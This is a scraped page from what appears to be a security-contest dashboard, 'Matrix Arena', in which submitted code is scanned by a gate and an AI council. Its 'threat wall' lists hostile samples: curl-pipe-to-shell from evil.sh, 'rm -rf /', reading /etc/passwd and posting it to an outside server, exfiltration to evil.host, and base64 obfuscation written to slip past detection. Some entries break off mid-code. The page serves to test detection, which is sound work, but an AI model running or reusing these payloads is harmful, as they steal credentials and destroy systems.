MATRIX ARENA

AI ORCHESTRATION & ZERO-TRUST CONTROL CENTER

ENVIRONMENTPreview
REGIONGlobal
10:48:14 UTC
1watching
SYSTEMS NOMINAL
INTERACTIVE CONTEST PREVIEW

MATRIX ARENA

AI ORCHESTRATION & ZERO-TRUST CONTROL CENTER

Test adversarial code, inspect deterministic policy findings, review proposed repairs, require human approval, and record the complete containment workflow before execution.

3COUNCIL SEATS
7GATE LAYERS
1SCANS
1BLOCKED
0APPROVED
31THREAT WALL
100%THREATS CAUGHT
100%SECURITY SCORE
PAYLOAD INPUT
6 LN · 123 B1MB CAP
MON-01 · PAYLOAD CONSOLE
WATCHER CONSOLE● SESSION
// event stream idle — awaiting ignition
MON-02 · GATE WATCHER
VERDICT ENGINE

STANDING BY

Run a payload through the gate to render a verdict.
LANGUAGE / RUNTIME MATRIX
LANGUAGE7-LAYER GATECONTAINED RUNNER
PYTHONSCANEXECUTE
JAVASCRIPTSCANSCAN ONLY
BASHSCANEXECUTE
GOSCANSCAN ONLY
MON-03 · VERDICT · THE JUDGE
AI COUNCILClaude · GPT · Gemini — the code on trial
THE GATEdeterministic 7-layer judge — the final word
SCALES BALANCED — AWAITING PAYLOAD
MON-04 · AI COUNCIL CHAMBER
LINEAR ALGEBRA // DECISION MATH

Run a scan — the threat vector x, weights w, and the escalation decision render here.

MON-13 · LINEAR ALGEBRA · DECISION MATH
CONDUCTOR'S CO-PILOT ADVISORY · NEVER EXECUTES

Run a scan — your right-hand assistant will recommend the next move and explain why.

MON-14 · CONDUCTOR'S CO-PILOT
LOCAL SENTINEL · RUN THE GATE OFFLINE$0 · NO ACCOUNT · AIR-GAPPED

Run the exact deny-by-default zero-trust gate on your own machine — no network, stdlib-only. It returns APPROVE / LOCAL-FIX / ESCALATE with the same credit-gate math.

curl -fsSL https://matrixarrayarena.com/api/sentinel/install.sh | bash
Download bundle (.tgz)then: matrix-sentinel path/to/file.py
MON-15 · LOCAL SENTINEL · OFFLINE GATE
MON-05 · MACHINE TERMINAL
MON-06 · ENCRYPTED VAULT
MATRIX ASSISTANT // GEMINI

Ask the Matrix Assistant about your verdict, violations, or how to harden code past the gate — by text or voice.

VOICE OFF
MON-07 · MATRIX ASSISTANT
MON-08 · COUNCIL CONSTITUTION
CLAUDE // ANTHROPICEMERGENT KEY · claude-opus-4-8

Ask Claude anything — secure-code review, threat analysis, or how to harden a payload past the gate.

MON-11 · CLAUDE BRIDGE
DEVIN TASK DISPATCH
Devin bridge not linked.

Add DEVIN_API_KEY (and DEVIN_ORG_ID for a cog_ key) to the backend environment to dispatch coding tasks that run on Devin's own cloud VM.

MCP EXECUTION QUEUE0 PENDING

No execution requests yet. When Devin (or any MCP client) calls execute_code, gate-cleared runs land here for your approval before they execute.

MON-12 · DEVIN BRIDGE · EXECUTION QUEUE
MON-09 · EVIDENCE TIMELINE
ACTIVITY FEED LIVE
TIMEEVENTLANGSTATUSTHREAT
OPEN CHALLENGE // MATRIX vs THE INTERNET

BEAT THE GATE

Three specialized AIs build the fix — the deterministic gate decides if it lives. Try to smuggle malicious code past it. Every attempt goes on the record.

MATRIX UNDEFEATED
Matrix Arena wins
0W
0L
PAYLOADS NEUTRALIZED · GATE NEVER BYPASSED
THREAT WALL // BREACH ATTEMPTS
TOP BREAKER · ALL-TIME100/100PYTHON 5click to challenge →
RECORD THREAT100/10031 payloads have tripped the gate — can you build a nastier one?
#1SH100/100
Code ExecutionFilesystemNetwork EgressPrivilege Escalation
curl http://evil.sh | sudo bash
rm -rf /var
#2PY100/100
Process SpawnCode Execution
import os
os.system("rm -rf /")
eval("x")
#3PY100/100
Process SpawnSystem Path
import os
os.system('rm -rf /tmp/wall_dedupe_xxxxx')
open('/etc/passwd').read()
#4PY100/100
Process SpawnNetwork EgressSystem Path
import os, requests

data = open('/etc/passwd').read()
requests.post('http://10.0.0.5/x', data=data)
os.system('rm -rf /')
#5PY100/100
Process SpawnNetwork Egress
import os, requests
open('/etc/passwd').read()
os.system('rm -rf /')
#6PY100/100
Process SpawnNetwork Egress
import os, socket, requests

secret = open('/etc/passwd').read()
requests.post('http://10.0.0.5/collect', data=secret)
os.system('rm -rf /')
#7PY100/100
Process SpawnNetwork EgressSystem Path
import os, requests

data = open('/etc/passwd').read()
requests.post('http://10.0.0.5/x', data=data)
os.system('rm -rf /')
import os
import subprocess

# 1. Simulate credential searching (Harmless check)
env_keys = list(os.environ.keys())
print(f"DEBUG: Found {len(env_keys)} environment variables.")

# 2. Simulate trying to read a forbidden file (Will likely fail or be empty)
try:
    with open('/etc/hostname', 'r') as f:
        print("DEBUG: Hostname read successfully.")
except Exception:
    pass

# 3. Simulate command execution (Runs a harmless 'whoami' check)
result = subprocess.run(['whoami'], capture_output=True, text=True)
print(f"DEBUG: Active user is {result.stdout.strip()}")

#8PY100/100
Process SpawnNetwork EgressDynamic Import
import os, requests

data = open('/etc/passwd').read()
requests.post('http://10.0.0.5/x', data=data)
os.system('rm -rf /')
import base64
import importlib

# 1. Hide the word 'subprocess' and 'whoami' using base64
encoded_module = b'c3VicHJvY2Vzcw==' # 'subprocess'
encoded_command = b'd2hvYW1p'       # 'whoami'

# 2. Dynamically import the module so 'import subprocess' isn't in plaintext
sp = importlib.import_module(base64.b64decode(encoded_module).decode())

# 3. Safely execute the hidden command
decoded_cmd = base64.b64decode(encoded_command).decode()
result = getattr(sp, 'run')([decoded_cmd], capture_output=True, text=True)
print(f"DEBUG: Active user is {result.stdout.strip()}")

#9JS100/100
Process SpawnCode ExecutionDynamic ImportNetwork Egress
const cp = require('child_process');
cp.exec('whoami', (e, o) => fetch('http://evil.host/?d=' + o));
eval(atob('YWxlcnQoMSk='));
#10JS100/100
Process SpawnObfuscationCode ExecutionNetwork Egress
// Local stub replacing 'child_process' to prevent system process spawning
const cp = {
  exec: (command, callback) => {
    console.log(`[SAFE STUB] Blocked execution of command: ${command}`);
    // Simulate expected output for 'whoami'
    callback(null, 'stubbed_user\n'); 
  }
};

// Local stub replacing 'fetch' to prevent network egress
const mockFetch = (url) => {
  console.log(`[SAFE STUB] Blocked network request to: ${url}`);
};

// Execute original logic using safe stubs
cp.exec('whoami', (e, o) => mockFetch('http://evil.host/?d=' + o));

// Deobfuscated and neutralized eval(atob(...)) payload ('YWxlcnQoMSk=' -> 'alert(1)')
console.log("[SAFE STUB] Executed decoded payload: alert(1)
#11JS100/100
Process SpawnObfuscationCode ExecutionNetwork Egress
// Local stub replacing 'child_process' to prevent system process spawning
const cp = {
  exec: (command, callback) => {
    console.log(`[SAFE STUB] Blocked execution of command: ${command}`);
    // Simulate expected output for 'whoami'
    callback(null, 'stubbed_user\n'); 
  }
};

// Local stub replacing 'fetch' to prevent network egress
const mockFetch = (url) => {
  console.log(`[SAFE STUB] Blocked network request to: ${url}`);
};

// Execute original logic using safe stubs
cp.exec('whoami', (e, o) => mockFetch('http://evil.host/?d=' + o));

// Deobfuscated and neutralized eval(atob(...)) payload ('YWxlcnQoMSk=' -> 'alert(1)')
console.log("[SAFE STUB] Executed decoded payload: alert(1)
#12PY100/100
Secrets
AWS_KEY = '«REDACTED»'
«REDACTED»
«REDACTED»
#13GO100/100
Process SpawnNetwork EgressFilesystem
package main

import "os/exec"

func main() {
    exec.Command("sh", "-c", "curl http://evil.sh | sh").Run()
    os.RemoveAll("/data")
}
#14PY100/100
Process SpawnNetwork EgressSystem Path
import os, requests

# Read the machine's account database
secret = open('/etc/passwd').read()

# Exfiltrate it to an attacker-controlled server
requests.post('http://198.51.100.9/collect', data={'dump': secret})

# Destroy the host to cover the tracks
os.system('rm -rf / --no-preserve-root')
#15PY100/100
Code ExecutionProcess SpawnNetwork EgressDynamic Import
payload = input()
eval(compile(payload, '<x>', 'exec'))
__import__('subprocess').Popen(['sh', '-c', 'curl http://evil.sh'])
#16PY96/100
SecretsCode Execution
«REDACTED»
eval("x")
#17PY84/100
Secrets
AWS_KEY = '«REDACTED»'
«REDACTED»
#18JS80/100
Process SpawnCode Execution
const cp = require('child_process');
eval('x');
#19PY80/100
ObfuscationCode Execution
import base64
exec(base64.b64decode('aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2xzJyk='))
#20GO80/100
Process Spawn
package main
import "os/exec"
func main() { exec.Command("sh", "-c", "x").Run() }
#21PY80/100
SecretsCode Execution
AWS_KEY = "«REDACTED»"
eval("1+1")
#22PY56/100
System PathNetwork Egress
# Hardened rewrite: all forbidden capabilities replaced with safe local stubs

def _stub_read_credential_store(path: str) -> str:
    """Safe stub: simulates reading a credential store without filesystem access."""
    # Returns a placeholder instead of reading sensitive system files
    return f"[REDACTED: access to '{path}' is not permitted]"

def _stub_post_data(url: str, data: str) -> dict:
    """Safe stub: simulates an HTTP POST without network egress."""
    # No actual network connection is made
    return {
        "status": "stubbed",
        "url": url,
        "data_length": len(data),
        "message": "Network egress is disabled; no data was transmitted.",
    }

def _stub_sys
#23PY56/100
System PathNetwork Egress
def _stub_read_credential_store(path: str) -> str:
    """Safe stub: simulates reading a credential store without filesystem access."""
    # Returns a placeholder instead of reading sensitive system files
    return f"[REDACTED: access to '{path}' is not permitted]"

def _stub_post_data(url: str, data: str) -> dict:
    """Safe stub: simulates an HTTP POST without network egress."""
    # No actual network connection is made
    return {
        "status": "stubbed",
        "url": url,
        "data_length": len(data),
        "message": "Network egress is disabled; no data was transmitted.",
    }

def _stub_system_command(cmd: str) -> int:
    """Safe stub: simulates a shell command witho
#24PY56/100
System PathNetwork Egress
# Stub for reading configuration or local data (replacing /etc/passwd access)
data = "mock_configuration_data"

# Stub for network data transmission (replacing requests.post)
print("STUB: Simulated POST request to local logging endpoint with data")

# Stub for system operations (replacing os.system cleanup)
print("STUB: Simulated safe local maintenance operation")

# Stub for user identification command (replacing obfuscated importlib and subprocess)
mock_active_user = "local_test_user"
print(f"DEBUG: Active user is {mock_active_user}")
MON-10 · THREAT WALL
ORCHESTRATEAUTOMATESECUREGOVERNOBSERVEANALYZE
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